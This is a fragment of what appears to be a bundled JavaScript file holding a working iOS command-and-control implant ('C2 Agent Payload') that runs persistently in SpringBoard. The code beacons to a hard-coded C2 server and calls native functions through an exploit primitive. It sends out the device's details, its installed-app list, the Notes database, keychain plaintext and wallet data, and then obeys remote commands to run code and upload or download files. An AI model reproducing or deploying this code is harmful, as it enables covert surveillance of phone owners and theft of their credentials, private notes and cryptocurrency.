\"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// http://192.168.31.130:8080/beacon / http://192.168.31.130:8080/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"http://192.168.31.130:8080/beacon\";\nconst C2_RESULT_URL = \"http://192.168.31.130:8080/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"http://192.168.31.130:8080\";\nconst HQ_WALLET_PORT = \"8080\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = 